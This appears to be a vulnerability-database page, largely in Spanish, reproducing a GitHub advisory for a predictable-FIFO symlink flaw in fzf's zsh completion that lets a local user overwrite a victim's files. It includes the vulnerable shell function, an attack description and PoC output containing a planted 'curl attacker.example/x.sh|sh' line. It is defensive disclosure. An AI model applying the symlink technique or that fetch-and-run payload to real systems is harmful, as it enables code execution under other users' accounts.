llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/junegunn/fzf

GHSA-7RJ6-7PQX-V7RM

fzf: Predictable FIFO path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo)

Parche disponible
Descargar PNG JSON
CVSS 3.1
5.0
Media
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche a -39 d de la divulgación
Exposición9 hDesde la divulgación, 19 nov 2026, 5:43 p. m.
Detección1 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche v0.74.5
Monitoreo
Detectada +3
11 oct 26
19 nov 26
20 nov 26
11 oct 26
21 oct 26
31 oct 26
10 nov 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche v0.74.5 github.com/junegunn/fzf · -39 d desde divulgación
Monitoreo Detectada Ingresó al índice
Divulgación Publicada GHSA-7RJ6-7PQX-V7RM divulgada · CVSS 5 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Fuente: GitHub Security Advisories Registro visto por primera vez en GitHub Security Advisories
Monitoreo Fuente: OSV Registro visto por primera vez en OSV
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`shell/completion.zsh` feeds every trigger-driven zsh completion through a FIFO at a predictable, PID-based path in shared `/tmp` (`fzf-complete-fifo-$$`), without checking the failure of `rm -f`/`mkfifo`. On a multi-user host, another local user can pre-create that path as a symlink to a victim-writable file (e.g. `~/.bashrc`), causing the victim's own completion to overwrite it with the completion stream — with attacker-influenced content (e.g. via process names in `ps` output), escalating to code execution at the victim's next login. A pre-created plain FIFO instead leaks/blocks on the completion stream.

### Reporter / Credits:
Sai Sreewathsa Kovalluri, Shon Babu and Kannan K (Researchers), Innspark Solutions https://innspark.in/

Details

`shell/completion.zsh` (tag 0.74.4, commit a140afeb):

  • line ~246: `fifo="${TMPDIR:-/tmp}/fzf-complete-fifo-$$"` — predictable name; shell PIDs are low/guessable and a wide range can be pre-created.
  • lines 216-220, verbatim:
_fzf_feed_fifo() {
  command rm -f "$1"     # fails (EPERM) on an attacker-owned entry in sticky /tmp — error ignored
  mkfifo "$1"            # fails (EEXIST) — exit status unchecked
  cat <&0 > "$1" &|      # follows the attacker symlink / blocks on the attacker FIFO
}

Attack modes (no race required):

  1. File clobber → code execution: `> "$1"` follows a pre-created symlink, truncating/overwriting a victim-writable file with the completion input stream using the victim's privileges. For kill-completion the stream includes attacker-influenced process names, so planted lines can land in the victim's startup file.
  2. Information leak / hang: a pre-created plain FIFO makes the victim's `cat` block until the attacker reads the stream (full `ps` output, host lists, variable names).
PoC

Mechanism verified with the function extracted byte-for-byte from `shell/completion.zsh` (only `&|` → `&`, a syntax port irrelevant to the flaw), reproducing the cross-user `/tmp` precondition via an entry the victim cannot remove (identical to sticky `/tmp` semantics for an attacker-owned entry):

rm: cannot remove '.../fzf-complete-fifo-4242': Permission denied
mkfifo: cannot create fifo '.../fzf-complete-fifo-4242': File exists

=== victim file AFTER the victim's completion ran ===
evil-process; curl attacker.example/x.sh|sh; :
other-stream-data

The file was overwritten despite both `rm` and `mkfifo` failing. A self-contained reproducer was provided by email (poc-t04-fifo-clobber.sh).

Impact

Local (multi-user host; CWE-377 / CWE-59). Any victim running zsh with fzf trigger completion (`kill/ssh/telnet/export/unset/unalias **<TAB>`) on a host shared with an attacker risks silent overwrite of arbitrary user files (→ code execution at next login) or disclosure of the completion stream. Suggested fix: create the FIFO inside a private `mktemp -d` directory (mode 700) and check `mkfifo`'s exit status, removing the rm-then-mkfifo TOCTOU entirely.

Reported privately to the maintainer by email; fix prepared for the next release.

Exploitability in practice

On a default modern host the file-overwrite variant is blocked by `fs.protected_symlinks` (a process will not follow a symlink in a sticky, world-writable directory owned by another user), and protected_fifos/protected_regular further limit the FIFO variants. Exploitation therefore depends on these kernel protections being disabled. The information exposed is a bounded completion candidate list (process names, hostnames, variable names) rather than arbitrary data, and the "code execution at next login" outcome is a downstream chain requiring the victim to both have the clobbered file sourced and log in again.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:L
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:L
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
github.com/junegunn/fzf< 0.74.5
0.74.5
v0.75.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/junegunn/fzf
Corregida v0.74.5 -39 d v0.75.0 no afectada
Versiones corregidas0.74.5v0.74.5
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-121717
Otrahttps://github.com/junegunn/fzf/security/advisories/GHSA-7rj6-7pqx-v7rm
Otrahttps://github.com/junegunn/fzf/commit/cbc11e4d9591e1fa47fb9d8711b18b74d625746e
Otrahttps://github.com/junegunn/fzf
Otrahttps://github.com/junegunn/fzf/releases/tag/v0.74.5

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.